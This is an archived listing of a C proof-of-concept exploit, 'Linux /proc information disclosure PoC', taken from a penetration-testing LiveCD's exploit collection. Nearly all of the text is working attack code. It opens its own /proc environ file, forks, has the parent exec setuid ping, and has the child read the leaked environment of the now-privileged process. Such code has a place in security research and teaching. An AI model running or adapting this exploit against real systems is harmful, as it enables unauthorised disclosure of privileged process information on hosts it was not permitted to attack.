home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / procex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  81 lines

  1. /****************************************************************
  2. *                                                               *
  3. *       Linux /proc information disclosure PoC                  *
  4. *       by IhaQueR                                              *
  5. *                                                               *
  6. ****************************************************************/
  7.  
  8.  
  9.  
  10. #include <stdio.h>
  11. #include <unistd.h>
  12. #include <fcntl.h>
  13. #include <errno.h>
  14. #include <signal.h>
  15. #include <sys/types.h>
  16. #include <sys/mman.h>
  17. #include <sys/ptrace.h>
  18. #include <sys/wait.h>
  19. #include <sys/stat.h>
  20. #include <sys/types.h>
  21.  
  22.  
  23.  
  24. static char buf[128];
  25.  
  26.  
  27.  
  28. void fatal(const char *msg)
  29. {
  30.     printf("\n");
  31.     if (!errno) {
  32.         fprintf(stderr, "FATAL: %s\n", msg);
  33.     } else {
  34.         perror(msg);
  35.     }
  36.  
  37.     printf("\n");
  38.     fflush(stdout);
  39.     fflush(stderr);
  40.     exit(129);
  41. }
  42.  
  43.  
  44. int main()
  45. {
  46.     int fd, r;
  47.     char c;
  48.  
  49.     sprintf(buf, "/proc/%d/environ", getpid());
  50.     fd = open(buf, O_RDONLY);
  51.     if (fd > 0) {
  52.         sprintf(buf, "/proc/%d", getpid());
  53.         if (fork()) {
  54.             printf("\nparent executing setuid\n");
  55.             fflush(stdout);
  56.             execl("/bin/ping", "ping", "-c", "3", "127.0.0.1", NULL);
  57.             fatal("execl");
  58.         } else {
  59.             sleep(1);
  60.             printf("\nchild reads parent's proc:\n");
  61.             fflush(stdout);
  62.             while (1) {
  63.                 r = read(fd, &c, 1);
  64.                 if (r <= 0)
  65.                     break;
  66.                 printf("%c", c);
  67.             }
  68.             printf("\n\nContent of %s\n", buf);
  69.             fflush(stdout);
  70.             execl("/bin/ls", "ls", "-l", buf, NULL);
  71.         }
  72.     } else
  73.         fatal("open proc");
  74.  
  75.     printf("\n");
  76.     fflush(stdout);
  77.  
  78.     return 0;
  79. }
  80.  
  81.